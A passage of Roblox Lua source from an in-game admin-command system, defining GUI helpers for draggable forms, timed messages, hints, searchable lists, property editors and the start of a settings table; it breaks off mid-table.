  3871.  
  3872. function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
  3873. if not Player then return nil end
  3874. if not Player:FindFirstChild("PlayerGui") then return nil end
  3875. local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
  3876. if not TitleText then TitleText = "Unknown" end
  3877. if not Size then Size = UDim2.new(0.5,0,0.5,0) end
  3878. if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
  3879. if not IconID then IconID = 19919809 end
  3880. if ShowFormButtons == nil then ShowFormButtons = true end
  3881. if not ColorScheme then ColorScheme = Settings.ColorScheme end
  3882. if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
  3883. if AutoOffset == nil then AutoOffset = true end
  3884. if Icons[IconID] then IconID = Icons[IconID] end
  3885. if TweenPosition == nil then TweenPosition = true end
  3886. if NoModal == nil then NoModal = false end
  3887. if NoScrollFrame == nil then NoScrollFrame = false end
  3888.  
  3889. local IsClosed = false
  3890. local Minus = nil
  3891. local Offset = 0
  3892. local ContentType = "ScrollingFrame"
  3893. local TweenSpeed = 0.3
  3894.  
  3895. if AutoOffset then
  3896. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  3897. if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
  3898. if Item.IsActive.Value == true then
  3899. if Item.IsTrueForm.Value == true then
  3900. Offset = Offset + 50
  3901. end
  3902. end
  3903. end
  3904. end
  3905. end
  3906.  
  3907. if NoScrollFrame == true then
  3908. ContentType = "Frame"
  3909. end
  3910.  
  3911. SOUND:PlayNotification(Player, 155331654)
  3912.  
  3913. local Position = Position + UDim2.new(0,Offset,0,Offset)
  3914. local MinimizePos = Position
  3915.  
  3916. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
  3917. local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
  3918. local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
  3919.  
  3920. local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
  3921. local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
  3922. local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
  3923. local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
  3924. local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
  3925. local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
  3926. local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
  3927. local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
  3928. local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
  3929.  
  3930. local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
  3931. local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
  3932. if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
  3933. --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
  3934. --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
  3935.  
  3936. CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
  3937.  
  3938. local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
  3939.  
  3940. local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
  3941. local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
  3942. local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
  3943. local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
  3944. local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
  3945. local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
  3946.  
  3947. if Settings.EnableTaskBar then
  3948. Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
  3949. else
  3950. TitleEnd.Position = UDim2.new(1, -50, 0, 5)
  3951. Title.Size = UDim2.new(1, -95, 0, 25)
  3952. end
  3953.  
  3954. if not ShowFormButtons then
  3955. X:Destroy()
  3956. TitleEnd:Destroy()
  3957. Title.Size = UDim2.new(1, -55, 0, 25)
  3958. end
  3959.  
  3960. local function CloseForm()
  3961. if IsClosed == false then
  3962. IsActive.Value = false
  3963. IsClosed = true
  3964. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
  3965. Closed:Fire()
  3966. SOUND:PlayNotification(Player, 206375138)
  3967. end
  3968. end
  3969.  
  3970. local function MinimizeForm()
  3971. if IsActive.Value == true then
  3972. IsActive.Value = false
  3973. Minimized:Fire()
  3974. MinimizePos = Dragger.Position
  3975. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
  3976. end
  3977. end
  3978.  
  3979. local function RestoreForm()
  3980. if IsActive.Value == false then
  3981. IsActive.Value = true
  3982. Restored:Fire()
  3983. ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
  3984. end
  3985. end
  3986.  
  3987. if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
  3988. if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
  3989.  
  3990. Close.OnInvoke = CloseForm
  3991. Minimize.OnInvoke = MinimizeForm
  3992. Restore.OnInvoke = RestoreForm
  3993.  
  3994. if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
  3995.  
  3996. if TaskBar then
  3997. TaskBar:WaitForChild("AddForm")
  3998. TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
  3999. end
  4000.  
  4001. return Content, Close, Closed, Minimize, Minimized, Restore, Restored
  4002. end
  4003.  
  4004. function GUI:CoreGui(Player, Type, Enable)
  4005. local Parent = Player:FindFirstChild("Backpack")
  4006. if not Parent then Parent = Player.Backpack end
  4007. CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
  4008. end
  4009.  
  4010. function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
  4011. if not Player or not Player:IsA("Player") then return nil end
  4012. if BodyText == "" then return nil end
  4013. if not Player:FindFirstChild("PlayerGui") then return nil end
  4014.  
  4015. local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
  4016. local TextColor = GUI:GetColor(MessageSplit[1])
  4017. if TextColor then BodyText = MessageSplit[2] end
  4018. BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
  4019.  
  4020. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
  4021. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
  4022.  
  4023. if Frame then
  4024. local FormBar = Frame.Parent.Parent.FormBar
  4025. local Said = false
  4026. local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
  4027. if Settings.EnableTaskBar then
  4028. FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
  4029. FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
  4030. else
  4031. Speak.Position = UDim2.new(1, -58, 0, 5)
  4032. FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
  4033. FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
  4034. end
  4035. CORE:HandleEvent(Speak, "MouseButton1Down", function()
  4036. if not Said then
  4037. Said = true
  4038. SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
  4039. end
  4040. end)
  4041.  
  4042. if TextColor then
  4043. Body.TextColor3 = TextColor
  4044. else
  4045. Body.TextColor3 = Color3.new(1,1,1)
  4046. end
  4047.  
  4048. if tonumber(Time) then coroutine.wrap(function()
  4049. if AutoTime then
  4050. Time = Time + math.floor(#BodyText/7)
  4051. end
  4052. local Alive = true
  4053.  
  4054. local function StopTimer() Alive = false end
  4055. Closed.Event:connect(StopTimer)
  4056. Minimized.Event:connect(StopTimer)
  4057.  
  4058. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4059. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4060. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  4061. local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
  4062. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  4063. for i = Time,0,-1 do
  4064. for ii = 1,10 do
  4065. if Alive == true then
  4066. Ticker.Text = i
  4067. wait(0.1)
  4068. else
  4069. break
  4070. end
  4071. end
  4072. end
  4073. if Alive == true then
  4074. Close:Invoke()
  4075. else
  4076. Ticker:Destroy()
  4077. Stop:Destroy()
  4078. Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
  4079. Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
  4080. end
  4081. end)() end
  4082.  
  4083. CORE:ExecuteResource("CalculateScrollY", Body)
  4084. end
  4085. end
  4086.  
  4087. function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
  4088. if not Player then return nil end
  4089. if not Player:IsA("Player") then return nil end
  4090. if BodyText == "" then return nil end
  4091. if not Player:FindFirstChild("PlayerGui") then return nil end
  4092. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  4093. local TextColor = GUI:ContrastColor()
  4094. if Error then TextColor = Color3.new(1,0,0) end
  4095.  
  4096. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
  4097. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
  4098.  
  4099. CORE:ExecuteResource("CalculateScrollY", Body)
  4100.  
  4101. return Frame, Close, Closed, Minimize, Minimized
  4102. end
  4103.  
  4104. function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
  4105. Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
  4106. local TweenTime = 0.5
  4107. if not Time then Time = 5 end
  4108. local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
  4109. local MaxPos = -1
  4110. for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
  4111. local IVal = SGObj:FindFirstChild("Index")
  4112. if IVal then
  4113. MaxPos = math.max(MaxPos, IVal.Value)
  4114. end
  4115. end
  4116. MaxPos = MaxPos + 1
  4117. local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
  4118. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
  4119. local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
  4120. local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
  4121. local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
  4122. SG.Parent = Player.PlayerGui
  4123.  
  4124. CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
  4125. CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
  4126.  
  4127. LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4128. RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
  4129. Delay(TweenTime, function()
  4130. for i = 1,0,-0.1 do
  4131. Body.TextTransparency = i
  4132. wait()
  4133. end
  4134. Body.TextTransparency = 0
  4135. end)
  4136. Delay(TweenTime + Time, function()
  4137. for i = 0,1,0.1 do
  4138. Body.TextTransparency = i
  4139. wait()
  4140. end
  4141. Body.TextTransparency = 1
  4142. local Done = false
  4143. LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
  4144. RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
  4145. end)
  4146.  
  4147. end)() end
  4148.  
  4149. function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
  4150. if not Player then return nil end
  4151. if not Player:FindFirstChild("PlayerGui") then return nil end
  4152. if not PreSearch then PreSearch = "" end
  4153. if AutoNumber == nil then AutoNumber = true end
  4154.  
  4155. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
  4156. local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
  4157. SearchBar.Parent = Frame.Parent
  4158. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  4159. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  4160.  
  4161. local SearchVer = 0,nil
  4162. local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
  4163. local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
  4164. local InDialog = false
  4165.  
  4166. local function ShowResults(Key)
  4167. SearchVer = SearchVer + 1
  4168. local ThisSearchVer = SearchVer
  4169.  
  4170. if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
  4171. for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
  4172.  
  4173. local NumPos,Num = 0,1
  4174.  
  4175. for _,Data in pairs(List) do
  4176. if ThisSearchVer ~= SearchVer then
  4177. break
  4178. end
  4179. local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
  4180. if String then
  4181. local ImageIcon = nil
  4182. if type(Data) == "table" then
  4183. String = Data[1]
  4184. ImageIcon = Data[2]
  4185. end
  4186.  
  4187. local TextColor = GUI:ContrastColor()
  4188. local StringSplit = STRING:GetSplit(String, 1, " ")
  4189. local NewColor = GUI:GetColor(StringSplit[1])
  4190. if NewColor then TextColor = NewColor String = StringSplit[2] end
  4191.  
  4192. if string.find(string.lower(String), string.lower(Key)) then
  4193. Spacer = false
  4194. local Font = Settings.Font
  4195. local Split = STRING:GetSplit(String, 1, " ")
  4196. if string.sub(string.lower(String),1,6) == "bold: " then
  4197. Font = "ArialBold"
  4198. String = string.sub(String,7)
  4199. elseif Fonts[Split[1]] then
  4200. Font = Split[1]
  4201. String = Split[2]
  4202. end
  4203. if string.sub(String,1,2) == "--" then
  4204. Spacer = true
  4205. end
  4206. local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
  4207. if ImageIcon then
  4208. if tonumber(ImageIcon) then
  4209. ImageIcon = "rbxassetid://"..ImageIcon
  4210. elseif Icons[ImageIcon] then
  4211. ImageIcon = "rbxassetid://"..Icons[ImageIcon]
  4212. end
  4213.  
  4214. Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
  4215. local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
  4216. local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
  4217. Content.Text = ""
  4218. NumPos = NumPos + 90
  4219. else
  4220. NumPos = NumPos + 30
  4221. end
  4222.  
  4223. if not Clickable then
  4224. Content.AutoButtonColor = false
  4225. Content.Active = false
  4226. Content.BackgroundTransparency = 1
  4227. elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
  4228. SOUND:BindButton(Content)
  4229. CORE:HandleEvent(Content, "MouseButton1Down", function()
  4230. if not InDialog then
  4231. Clicked:Fire(String)
  4232. end
  4233. end, true)
  4234. end
  4235. if Spacer == false then Num = Num + 1 end
  4236. end
  4237. end
  4238. end
  4239. Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
  4240. ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
  4241. end
  4242.  
  4243. RequestDialog.OnInvoke = function(RequestDialogCall)
  4244. InDialog = RequestDialogCall
  4245. end
  4246.  
  4247. ShowResults(PreSearch)
  4248.  
  4249. local RPR = CORE:CreateRemotePropertyReader(SearchBar)
  4250. CORE:HandleEvent(SearchBar, "Changed", function(Prop)
  4251. if Prop == "Text" then
  4252. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4253. ShowResults(Text)
  4254. Frame.CanvasPosition = Vector2.new(0,0)
  4255. end
  4256. end)
  4257.  
  4258. return Clicked, RequestDialog, Close
  4259. end
  4260.  
  4261. function GUI:PropertyGui(Player, Title, Icon, Properties)
  4262. if not Player then return nil end
  4263. if not Player:FindFirstChild("PlayerGui") then return nil end
  4264. if type(Properties) ~= "table" then return nil end
  4265. local HasClosed = false
  4266. local NewProperties = {}
  4267.  
  4268. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
  4269. Frame.ClipsDescendants = true
  4270. local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
  4271.  
  4272. for PropertyName,Data in pairs(Properties) do
  4273. NewProperties[PropertyName] = Data[1]
  4274. end
  4275.  
  4276. local YCount = 0
  4277.  
  4278. for PropertyName,Data in pairs(Properties) do
  4279. if type(Data) == "table" then
  4280. local DefaultValue = Data[1]
  4281. local Writable = Data[2]
  4282. local ValueType = Data[3]
  4283.  
  4284. if Writable == nil then Writable = false end
  4285. if type(ValueType) == "string" then -- now this is confusing
  4286. ValueType = string.lower(ValueType)
  4287. elseif ValueType == nil then
  4288. ValueType = type(DefaultValue)
  4289. end
  4290.  
  4291. if ValueType == "nil" or ValueType == "userdata" then
  4292. ValueType = nil
  4293. elseif ValueType == "table" then
  4294. DefaultValue = STRING:UnpackArgs(DefaultValue)
  4295. ValueType = "string"
  4296. end
  4297.  
  4298. if ValueType then
  4299. local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
  4300. local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
  4301. local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
  4302.  
  4303. if ValueType == "string" or ValueType == "number" then
  4304. if Writable == true then
  4305. local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
  4306. CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
  4307. if ValueType == "number" then
  4308. NewProperties[PropertyName] = tonumber(Input.Text)
  4309. else
  4310. NewProperties[PropertyName] = tostring(Input.Text)
  4311. end
  4312. end end)
  4313. else
  4314. local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
  4315. end
  4316. end
  4317. if ValueType == "boolean" then
  4318. local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
  4319. if DefaultValue == true then
  4320. Check.Image = "rbxassetid://48138491"
  4321. end
  4322. if Writable == true then
  4323. CORE:HandleEvent(Check, "MouseButton1Down", function()
  4324. local NewVal = not NewProperties[PropertyName]
  4325. NewProperties[PropertyName] = NewVal
  4326. if NewVal == true then
  4327. Check.Image = "rbxassetid://48138491"
  4328. else
  4329. Check.Image = "rbxassetid://48138474"
  4330. end
  4331. end)
  4332. else
  4333. Check.ImageTransparency = 0.5
  4334. end
  4335. end
  4336. YCount = YCount + 50
  4337. end
  4338. end
  4339. end
  4340.  
  4341. Frame.CanvasSize = UDim2.new(0,0,0,YCount)
  4342.  
  4343. Closed.Event:connect(function() HasClosed = true end)
  4344.  
  4345. repeat wait(0.1) until HasClosed
  4346. return NewProperties
  4347. end
  4348.  
  4349. function GUI:SettingsGui(Player)
  4350. if not Player then return nil end
  4351. local CloneViewSettings,CanChange = {},false
  4352.  
  4353. local ViewSettings = {
  4354. ["Version"] = {CORE.Version.Value, false, nil};
  4355. ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
  4356. ["Font"] = {Settings.Font, 3, "Font"};
  4357. ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
  4358. ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
  4359. ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
  4360. ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
  4361. ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
  4362. ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
  4363. ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
  4364. ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
  4365. ["Group ID"] = {Settings.GroupID, false, "GroupID"};
  4366. ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
  4367. ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
  4368. ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
  4369. ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
  4370. ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
  4371. ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
